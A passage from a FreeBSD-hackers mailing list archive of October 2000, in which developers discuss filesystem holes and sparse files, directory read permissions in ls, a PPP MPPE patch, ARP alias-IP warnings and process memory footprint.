"snapshot" data for things like NFS, with a short lived cache, such that reasonable clients would never have the stale data problem (clients that started a read, and waited a month before requesting the next entry would be on their own). So anyway, my suggestion is to "short change" the returned data, to avoid having to restart on a non-directory entry block alignment boundary. Using the cookie interface is only going to render you vulnerable to stale data races, which, though rare, will happen on occasion. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 2:50:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 77C8737B4CF for ; Tue, 31 Oct 2000 02:50:50 -0800 (PST) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JVZIBAI78O000W1P@research.kpn.com> for hackers@FreeBSD.ORG; Tue, 31 Oct 2000 11:50:48 +0100 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Tue, 31 Oct 2000 11:50:47 +0100 Content-return: allowed Date: Tue, 31 Oct 2000 11:50:46 +0100 From: "Koster, K.J." Subject: RE: PPP patch (CHAP81 + MPPE) To: 'Ustimenko Semen' Cc: hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D7987@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, > > With all these ppp can participate in MS VPN. > Euh. Right now I'm running ppp over pptpclient to connect to my ISP over an ADSL modem. Using your patch, can I ditch pptpclient? Kees Jan ================================================ You are only young once, but you can stay immature all your life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 3: 9:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from polaris.we.lc.ehu.es (polaris.we.lc.ehu.es [158.227.6.43]) by hub.freebsd.org (Postfix) with ESMTP id DF07037B479 for ; Tue, 31 Oct 2000 03:09:11 -0800 (PST) Received: from v-ger.we.lc.ehu.es (v-ger [158.227.6.179]) by polaris.we.lc.ehu.es (8.9.1/8.9.1) with ESMTP id MAA12585; Tue, 31 Oct 2000 12:08:47 +0100 (MET) Received: from we.lc.ehu.es (localhost [127.0.0.1]) by v-ger.we.lc.ehu.es (8.11.0/8.11.0) with ESMTP id e9VB8Y502034; Tue, 31 Oct 2000 12:08:34 +0100 (CET) (envelope-from jose@we.lc.ehu.es) Message-ID: <39FEA832.7EFD61E7@we.lc.ehu.es> Date: Tue, 31 Oct 2000 12:08:34 +0100 From: "Jose M. Alcaide" Organization: Universidad del Pais Vasco - Dpto. de Electricidad y Electronica X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: es-ES, es, en-US, en MIME-Version: 1.0 To: Ryan Thompson Cc: freebsd-hackers@FreeBSD.ORG, Sean Lutner Subject: Re: Who broke "ls" in FreeBSD? and why? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ryan Thompson wrote: > > "Search" (i.e., execute) permission on a directory implies that the > directory can be included as part of a directory search. In other words, > mapping to inodes is provided, but obtaining a list of files in the > directory is NOT. This is used by system administrators to "hide" a > directory of files, but still grant access to them if they are named > explicitly. > > [...] > You don't need to explain the semantics of UNIX permissions :-) I am working with UNIX systems since 1983. The read permission *must* be enough for listing the names and numbers of each entry of a directory. The read permission guarantees that the directory can be opened for reading; remember that the directory is only a table of entries. The search ("x") permission is needed for accesing the contents of the i-nodes pointed to by each directory entry. This is the semantics of the read and search directory permissions for all UNIX flavors. But this is what happens when using FreeBSD's ls(1): %which ls /bin/ls %mkdir Test %touch Test/{1,2,3} %ls -ai Test 31748 . 7936 .. 31749 1 31750 2 31754 3 %chmod -x Test %ls -ai Test % <------- WRONG!!!! The "ls -ai" command *must* work even without the search permission, since it does not ask for the i-node contents of each directory entry. As demonstration, I wrote a small and ugly program which uses getdents(2) for simulating an "ls -ai Test", and it *works*, of course: %ls -ld Test drw------- 2 jose lsi 512 31 oct 11:44 Test %./almost_ls 512 bytes read from directory inode=31748 name=. inode=7936 name=.. inode=31749 name=1 inode=31750 name=2 inode=31754 name=3 % The conclusion is clear: FreeBSD's ls(1) is broken. In fact, I am going to submit a PR. Cheers, -- JMA ****** Jose M. Alcaide // jose@we.lc.ehu.es // jmas@FreeBSD.org ****** ** "Beware of Programmers who carry screwdrivers" -- Leonard Brandwein ** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 4:32:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hda.hda.com (host65.hda.com [63.104.68.65]) by hub.freebsd.org (Postfix) with ESMTP id 1AC7037B4C5 for ; Tue, 31 Oct 2000 04:32:39 -0800 (PST) Received: (from dufault@localhost) by hda.hda.com (8.9.3/8.9.3) id HAA31834; Tue, 31 Oct 2000 07:35:31 -0500 (EST) (envelope-from dufault) From: Peter Dufault Message-Id: <200010311235.HAA31834@hda.hda.com> Subject: Re: Filesystem holes In-Reply-To: <200010310907.e9V97mk17233@earth.backplane.com> from Matt Dillon at "Oct 31, 2000 01:07:48 am" To: Matt Dillon Date: Tue, 31 Oct 2000 07:34:16 -0500 (EST) Cc: Terry Lambert , Ryan Thompson , freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ... Sparse matrixes are the big math problem > that benefit, but only because the solution to a sparse matrix problem > is not even close to random so the sparse matrix winds up still being > sparse all the way to the end of the solution. I use them for bus simulations, which also are permanently sparse. It would be nice to free up the regions when I "remove" a virtual board, but in a check through POSIX I could find nothing defined to behave that way either for mapped files or mapped memory objects. Also, a write from any process would repopulate the region which I really wouldn't want but I don't see that level of control over mapping between unrelated processes (Now I start thinking about MAPFIXED to a specified virtual address and implementing funny tricks but I don't have time to work on that). In my case I'd be better off with shared memory objects that aren't persistent but appear in the name space so that I don't accidentally start copying a virtual bus file when the programs exit improperly. In the sparse matrix calculations with no checkpointing or need to appear in a name space I'd think the best thing would be to use VM with the matrix initially mapped to a copy on write zero page. I guess you can't do that without mmap because of swap allocation. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Fail-Safe systems, Agency approval To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 5:48:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.trident-uk.co.uk (mail.trident-uk.co.uk [195.166.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 9DA2F37B479 for ; Tue, 31 Oct 2000 05:48:19 -0800 (PST) Received: from [194.207.93.139] by gate.trident-uk.co.uk for freebsd-hackers@freebsd.org id NAA12291; Tue Oct 31 13:47:13 2000 Organization: Psi-Domain Ltd. Subject: Re: Logging users out Date: Tue, 31 Oct 2000 13:53:05 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <20001031074745.A8423@wjv.com> In-Reply-To: <20001031074745.A8423@wjv.com> MIME-Version: 1.0 Message-Id: <00103113531602.01657@freefire.psi-domain.co.uk> Content-Transfer-Encoding: 8bit To: freebsd-hackers@freebsd.org From: Jamie Heckford Reply-To: heckfordj@psi-domain.co.uk Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, you wrote: > On Tue, Oct 31, 2000 at 01:40:32PM +0100, Thierry Besancon thus spoke: > > Dixit Bill Vermillion (le Tue, 31 Oct 2000 07:22:55 -0500) : > > > > » > % ps -aux | grep username > > » > > » > username 1637 1.3 0.7 1340 868 p1 Ds 11.36AM 0:00.09 csh > > » > > » > then I just do a: > > » > > » > % kill -KILL 1637 > > » > > » > not the best or cleanest way of doing it, but its just a quick > > » > method ive stuck with over the years. > > » > > » Definately not the cleanest/best. What's wrong with -HUP. > > » > > » -KILL [aka -9] give no chance for proper file closure and cleanup. > > > > When you kill -HUP a csh, it just remains. Nothing happens. You have > ^^^ > > to kill -9 it to get rid of it. Just try. > > That explains that. I've studiously avoided csh for the past 15 > years. Shows I've not worked around a Sun environment much, > doesn't it? Ever thought of using a better shell :-) [Add LOTS of > smileys here - I'm not going to get into a shell wars argument - > what works best for you, works best for you. I'm a ksh user]. > > -- > Bill Vermillion - bv @ wjv . com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-isp" in the body of the message -- Jamie Heckford Chief Network Engineer Psi-Domain - Innovative Linux Solutions. Ask Us How. =================================== email: heckfordj@psi-domain.co.uk web: http://www.psi-domain.co.uk/ tel: +44 (0)1737 789 246 fax: +44 (0)1737 789 245 mobile: +44 (0)7779 646 529 =================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 6:27:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (Postfix) with ESMTP id 900F237B479 for ; Tue, 31 Oct 2000 06:27:34 -0800 (PST) Received: (from daemon@localhost) by smtp01.primenet.com (8.9.3/8.9.3) id HAA29887; Tue, 31 Oct 2000 07:26:38 -0700 (MST) Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp01.primenet.com, id smtpdAAAADaao6; Tue Oct 31 07:26:30 2000 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id HAA27852; Tue, 31 Oct 2000 07:27:15 -0700 (MST) From: Terry Lambert Message-Id: <200010311427.HAA27852@usr06.primenet.com> Subject: Re: Filesystem holes To: dufault@hda.com (Peter Dufault) Date: Tue, 31 Oct 2000 14:25:53 +0000 (GMT) Cc: dillon@earth.backplane.com (Matt Dillon), tlambert@primenet.com (Terry Lambert), ryan@sasknow.com (Ryan Thompson), freebsd-hackers@FreeBSD.ORG In-Reply-To: <200010311235.HAA31834@hda.hda.com> from "Peter Dufault" at Oct 31, 2000 07:34:16 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I use them for bus simulations, which also are permanently sparse. > It would be nice to free up the regions when I "remove" a virtual > board, but in a check through POSIX I could find nothing defined to > behave that way either for mapped files or mapped memory objects. SVR4 defined F_FREESP; if passed to fcntl, it will call the VOP_SPACE routine. The third argument is a struct flock, and it used to be that it only supported l_len == 0, but that changed in 1993/1994, about the same time we got sfork support flogged into it past the USL Process (caps intentional). 1993 was too late to get either interface fully documented in "The Magic Garden Explained", unfortunately, but it's been in SVR4 (along with sfork, via an ioctl against /proc), since back then. POSIX was unwilling to take a stand on the F_FREESP vs. ftruncate war, and so they remained agnostic, and didn't document anything. FWIW, the SVR4 interface is better, since it allows you to open holes. It was surprisingly hard to get simple changes like this past the keepers of the keys to the USL source tree. After we found out why, it became more understandable: the USL source code is built like a trinary nerve gas weapon, and you have to touch all three parts to get a change into the code. It's really rather arranged So That Things Will Not Change. My preference would be to hook it into fcntl, with F_FREESP, with the extended interface that can do more than truncate. This would require adding a "VOP_SPACE" type thing. There was also an undocumented F_ALLOCSP; I don't remember if that got folded in with the rest of the code, or if it got left out, but it does the obvious thing: allocated backing pages. Peter: for your rewriting problem, I think you could just decide to hold a write lock on the range you didn't want rewritten; so long as it honors the advisory locks, there'd be no chance of it screwing up, unless you got bit by the stupid POSIX lock close semantics. Stupid POSIX; that's the other one I'd put in: the ability to: int i = 1; fcntl( fd, F_NONPOSIX, &i); It would help out the NFS locking daemon to no end... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 6:55:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hda.hda.com (host65.hda.com [63.104.68.65]) by hub.freebsd.org (Postfix) with ESMTP id 073F837B4D7 for ; Tue, 31 Oct 2000 06:55:38 -0800 (PST) Received: (from dufault@localhost) by hda.hda.com (8.9.3/8.9.3) id JAA32216; Tue, 31 Oct 2000 09:58:43 -0500 (EST) (envelope-from dufault) From: Peter Dufault Message-Id: <200010311458.JAA32216@hda.hda.com> Subject: Re: Filesystem holes In-Reply-To: <200010311427.HAA27852@usr06.primenet.com> from Terry Lambert at "Oct 31, 2000 02:25:53 pm" To: Terry Lambert Date: Tue, 31 Oct 2000 09:57:28 -0500 (EST) Cc: Peter Dufault , Matt Dillon , Ryan Thompson , freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I use them for bus simulations, which also are permanently sparse. > > It would be nice to free up the regions when I "remove" a virtual > > board, but in a check through POSIX I could find nothing defined to > > behave that way either for mapped files or mapped memory objects. > (...) > > POSIX was unwilling to take a stand on the F_FREESP vs. ftruncate > war, and so they remained agnostic, and didn't document anything. No, IIRC POSIX defines ftruncate behavior both for mapped files and shared memory objects but that isn't much use for freeing up holes unless you want to repopulate chunks after the hole. All in all I agree with Matt about the suitability of large sparse files for data storage. My case is different in that I want to test object code in pretty much its final form and legacy code will be full of brute force address calculations. ... > Peter: for your rewriting problem, I think you could just decide > to hold a write lock on the range you didn't want rewritten; so > long as it honors the advisory locks, there'd be no chance of it > screwing up, unless you got bit by the stupid POSIX lock close > semantics. Stupid POSIX; that's the other one I'd put in: the > ability to: I never thought of that. I'll look at it. I'll have to see how it is defined in POSIX and how it plays with shared memory objects on Solaris - currently I have no differences in the code other than defining shmopen to be (errno = ENOSYS, -1) if shared memory objects aren't supported and I fall back to mapped files and it all works well. One unfortunateness, though, is that Solaris requires that shared memory objects have the name of a file in "/" where I typically don't want to place multi gigabyte files even when they are allegedly sparse, requiring placing shared memory objects and shared files in different places and also having names such as "/vme_pid7662_data64" since I can't have subdirs. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Fail-Safe systems, Agency approval To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 8: 5:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id AC63037B479 for ; Tue, 31 Oct 2000 08:05:21 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9VG5IL18693; Tue, 31 Oct 2000 08:05:18 -0800 (PST) (envelope-from dillon) Date: Tue, 31 Oct 2000 08:05:18 -0800 (PST) From: Matt Dillon Message-Id: <200010311605.e9VG5IL18693@earth.backplane.com> To: Terry Lambert Cc: dufault@hda.com (Peter Dufault), tlambert@primenet.com (Terry Lambert), ryan@sasknow.com (Ryan Thompson), freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: <200010311427.HAA27852@usr06.primenet.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :to hold a write lock on the range you didn't want rewritten; so :long as it honors the advisory locks, there'd be no chance of it :screwing up, unless you got bit by the stupid POSIX lock close :semantics. Stupid POSIX; that's the other one I'd put in: the :ability to: : : int i = 1; : : fcntl( fd, F_NONPOSIX, &i); : :It would help out the NFS locking daemon to no end... : : Terry Lambert : terry@lambert.org We could implement this trivially, and I'm pretty sure we could implement some sort of free-space semantics trivially too, at least for UFS, using a struct flock to pass the parameters to a fcntl. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 8: 9:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 24E5A37B4C5 for ; Tue, 31 Oct 2000 08:09:32 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9VG8SU18725; Tue, 31 Oct 2000 08:08:28 -0800 (PST) (envelope-from dillon) Date: Tue, 31 Oct 2000 08:08:28 -0800 (PST) From: Matt Dillon Message-Id: <200010311608.e9VG8SU18725@earth.backplane.com> To: Peter Dufault Cc: Terry Lambert , Ryan Thompson , freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: <200010311235.HAA31834@hda.hda.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :In my case I'd be better off with shared memory objects that aren't :persistent but appear in the name space so that I don't accidentally :start copying a virtual bus file when the programs exit improperly. :In the sparse matrix calculations with no checkpointing or need to appear :in a name space I'd think the best thing would be to use VM with the matrix :initially mapped to a copy on write zero page. I guess you can't :do that without mmap because of swap allocation. : :Peter : :-- :Peter Dufault (dufault@hda.com) Realtime development, Machine control, If you can fit the whole thing into a process's VM space, then you can certainly use mmap(...MAP_ANON...) combined with madvise(... MADV_FREE) to implement a sparse memory object. There was talk a while ago about feeding MADV_FREE through to the filesystem layer. I was under the impression that SUN does that, does anyone know? -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 8:19:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from tuminfo2.informatik.tu-muenchen.de (tuminfo2.informatik.tu-muenchen.de [131.159.0.81]) by hub.freebsd.org (Postfix) with ESMTP id 070EF37B4D7 for ; Tue, 31 Oct 2000 08:19:45 -0800 (PST) Received: from atrbg11.informatik.tu-muenchen.de ([131.159.9.196] HELO atrbg11.informatik.tu-muenchen.de ident: postfix [port 2899]) by tuminfo2.informatik.tu-muenchen.de with SMTP id <112675-249>; Tue, 31 Oct 2000 17:19:34 +0000 Received: by atrbg11.informatik.tu-muenchen.de (Postfix, from userid 20455) id 3FABD13631; Tue, 31 Oct 2000 17:19:31 +0100 (CET) From: Daniel Lang To: freebsd-hackers@freebsd.org Subject: [dl@leo.org: virtual/alias ips and arp_rtrequest: bad gateway value] Message-ID: <20001031171931.H17986@atrbg11.informatik.tu-muenchen.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="KFztAG8eRSV9hGtP" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Geek: GCS d-- s: a- C++ UB++++$ P+++$ L- E W+++(--) N+ o K w--- O? M- V@ PS+(++) PE--(+) Y+ PGP+ t++ 5@ X R+(-) tv+ b+ DI++ D++ G++ e+++ h---(-) r++>+++ y Date: Tue, 31 Oct 2000 17:19:31 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --KFztAG8eRSV9hGtP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hiho, maybe somebody ob hackers has a clue to this problem... :-/ Thanks in advance, Daniel -- IRCnet: Mr-Spock - ceterum censeo Microsoftinem esse delendam - *Daniel Lang * dl@leo.org * +49 89 289 25735 * http://www.leo.org/~dl/* --KFztAG8eRSV9hGtP Content-Type: message/rfc822 Content-Disposition: inline Date: Thu, 19 Oct 2000 11:00:43 +0200 From: Daniel Lang To: freebsd-net@freebsd.org Subject: virtual/alias ips and arp_rtrequest: bad gateway value Message-ID: <20001019110043.A50474@atrbg11.informatik.tu-muenchen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Geek: GCS d-- s: a- C++ UB++++$ P+++$ L- E W+++(--) N+ o K w--- O? M- V@ PS+(++) PE--(+) Y+ PGP+ t++ 5@ X R+(-) tv+ b+ DI++ D++ G++ e+++ h---(-) r++>+++ y Dear Folks, I have some boxes, that use many virtual IPs. ifconfig(8) tells, one has to use a netmask of 0xffffffff for the aliases, if they are on the same network (they are). I run FreeBSD 4.1-STABLE (some 4.1.1-STABLE) Assigning the alias addresses to the interface does work, although I get a warning about a possible netmask problem. The other thing is, that console and syslog is getting overwhelmed with [..] /kernel: arp_rtrequest: bad gateway value [..] I'm not sure, if there's a connection, but I suspect so, since it doesn't occur on other boxes, without alias ips, and I searched through the freebsd mailing lists, where this error has been reported previously, but no solution was posted. However, I run routed on the concerned machines, so maybe this one introduces routes, that may be wrong ? The local network is 131.159.0.0/16. Here is an excerpt from the routing tables: Destination Gateway Flags Refs Use Netif Expire default 131.159.0.254 UGSc 7 567 xl0 127.0.0.1 127.0.0.1 UH 1 36 lo0 131.159 link#1 UC 0 0 xl0 => 131.159.0.16 0:c0:7b:53:ec:2e UHLW 0 0 xl0 1111 131.159.0.76 8:0:20:85:f3:10 UHLW 0 630 xl0 1101 [ many similar routes ] 131.159.72.5/32 link#1 UC 0 0 xl0 => 131.159.72.10/32 link#1 UC 0 0 xl0 => 131.159.72.16 131.159.72.16 UHLW 0 1303 lo0 => 131.159.72.16/32 link#1 UC 0 0 xl0 => 131.159.72.17/32 link#1 UC 0 0 xl0 => 131.159.72.18 131.159.72.18 UHLW 0 514 lo0 => 131.159.72.18/32 link#1 UC 0 0 xl0 => 131.159.72.24/32 link#1 UC 0 0 xl0 => 131.159.72.25 131.159.72.25 UHLW 0 20 lo0 => 131.159.72.25/32 link#1 UC 0 0 xl0 => 131.159.72.29/32 link#1 UC 0 0 xl0 => [ these are alias ips ] 172.16.0.58 131.159.1.92 UGH 0 0 xl0 172.16.4.131 131.159.1.92 UGH 0 0 xl0 The last two must be introduced by routed, since I don't statically route the 172.16 net (which is modem pool using these private ips). Any suggestions ? Best regards, Daniel -- IRCnet: Mr-Spock - My name is Pentium of Borg, division is futile, you will be approximated. - *Daniel Lang * dl@leo.org * +49 89 289 25735 * http://www.leo.org/~dl/* --KFztAG8eRSV9hGtP-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 10:17:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns3.safety.net (ns3.safety.net [216.200.162.38]) by hub.freebsd.org (Postfix) with ESMTP id 55EB237B4D7 for ; Tue, 31 Oct 2000 10:17:22 -0800 (PST) Received: (from les@localhost) by ns3.safety.net (8.9.3/8.9.3) id LAA90886 for freebsd-hackers@freebsd.org; Tue, 31 Oct 2000 11:17:22 -0700 (MST) (envelope-from les) From: Les Biffle Message-Id: <200010311817.LAA90886@ns3.safety.net> Subject: Runtime memory footprint To: freebsd-hackers@freebsd.org Date: Tue, 31 Oct 2000 11:17:22 -0700 (MST) Reply-To: les@safety.net X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What determines the runtime memory footprint of a process? I have small daemons that occupy 25K on disk, don't malloc anything to speak of, but are 440K to 1024K in memory, according to top and ps. For that matter, just about nothing in my "ps" display is under 400K. The daemons are dynamically-linked. Is there anything I can do to reduce the memory footprint? Thanks and best regards, -Les -- Les Biffle Community Service... Just Say NO! (480) 778-0177 les@safety.net http://www.networksafety.com/ Network Safety, 7802 E Gray Rd Ste 500, Scottsdale, AZ 85260 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 10:23: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id B827737B479 for ; Tue, 31 Oct 2000 10:22:56 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.0/8.11.0) id e9VIMcn17780; Tue, 31 Oct 2000 20:22:38 +0200 (EET) (envelope-from ru) Date: Tue, 31 Oct 2000 20:22:38 +0200 From: Ruslan Ermilov To: les@safety.net Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Runtime memory footprint Message-ID: <20001031202238.A13513@sunbay.com> Mail-Followup-To: les@safety.net, freebsd-hackers@FreeBSD.ORG References: <200010311817.LAA90886@ns3.safety.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010311817.LAA90886@ns3.safety.net>; from les@ns3.safety.net on Tue, Oct 31, 2000 at 11:17:22AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 11:17:22AM -0700, Les Biffle wrote: > What determines the runtime memory footprint of a process? I have small > daemons that occupy 25K on disk, don't malloc anything to speak of, but > are 440K to 1024K in memory, according to top and ps. For that matter, > just about nothing in my "ps" display is under 400K. The daemons are > dynamically-linked. Is there anything I can do to reduce the memory > footprint? > Have them statically-linked and stripped. -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 10:48:19 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 96DC337B4D7 for ; Tue, 31 Oct 2000 10:48:16 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9VIlev20173; Tue, 31 Oct 2000 10:47:40 -0800 (PST) (envelope-from dillon) Date: Tue, 31 Oct 2000 10:47:40 -0800 (PST) From: Matt Dillon Message-Id: <200010311847.e9VIlev20173@earth.backplane.com> To: Les Biffle Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Runtime memory footprint References: <200010311817.LAA90886@ns3.safety.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :What determines the runtime memory footprint of a process? I have small :daemons that occupy 25K on disk, don't malloc anything to speak of, but :are 440K to 1024K in memory, according to top and ps. For that matter, :just about nothing in my "ps" display is under 400K. The daemons are :dynamically-linked. Is there anything I can do to reduce the memory :footprint? : :Thanks and best regards, : :-Les : :-- :Les Biffle Community Service... Just Say NO! Most of this is from shared libraries. The processes aren't actually eating that much memory. fire:/home/dillon> fgrep blah (leave sitting around) fire:/home/dillon> ps axl | egrep 'RSS|fgrep' UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND 101 17341 16524 0 3 0 1036 496 ttyin S+ p1 0:00.00 fgrep blah ^^^ 496K run size vmstat 1 before first fgrep is run 0 0 0 110532 65772 9 0 0 0 6 0 0 0 258 178 53 0 1 99 1 0 0 110532 65772 9 0 0 0 6 0 0 0 231 100 35 1 1 98 after first fgrep is run 0 0 0 110964 65636 53 0 0 0 7 0 0 0 313 732 129 2 0 98 0 0 0 110964 65636 9 0 0 0 6 0 0 0 284 205 53 0 0 100 after second fgrep is run 0 0 0 111312 65504 52 0 0 0 7 0 0 0 237 282 64 1 1 98 0 0 0 111312 65504 9 0 0 0 6 0 0 0 435 529 108 1 2 98 Difference: around 132K less free memory for each instance of fgrep that is run. So fgrep, with an RSS of 496K, actually only eats up around 132K of unsharable ram. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 11: 1: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay2.shore.net (relay2.shore.net [207.244.125.21]) by hub.freebsd.org (Postfix) with ESMTP id 777ED37B4D7 for ; Tue, 31 Oct 2000 11:01:03 -0800 (PST) Received: from netlynn-s01-194.port.shore.net (macpherson) [204.167.108.194] by relay2.shore.net with smtp (Exim) for freebsd-hackers@FreeBSD.ORG id 13qgeo-0004cJ-00; Tue, 31 Oct 2000 14:01:14 -0500 Message-ID: <000801c04374$f9546960$e9c809c0@macpherson> From: "Ron MacPherson" To: Subject: Help Date: Tue, 31 Oct 2000 14:58:42 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C0434B.0F6A3240" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C0434B.0F6A3240 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Can you assist me with a Free BSD problem. One of my customers had a = College kid mess with his Unix Kernal. Now they can no longer access thier E-mail ??? Could he have turned off Email somehow, when he messed around with the = Unix kernal??? Thank You. Ron MacPherson. Tel 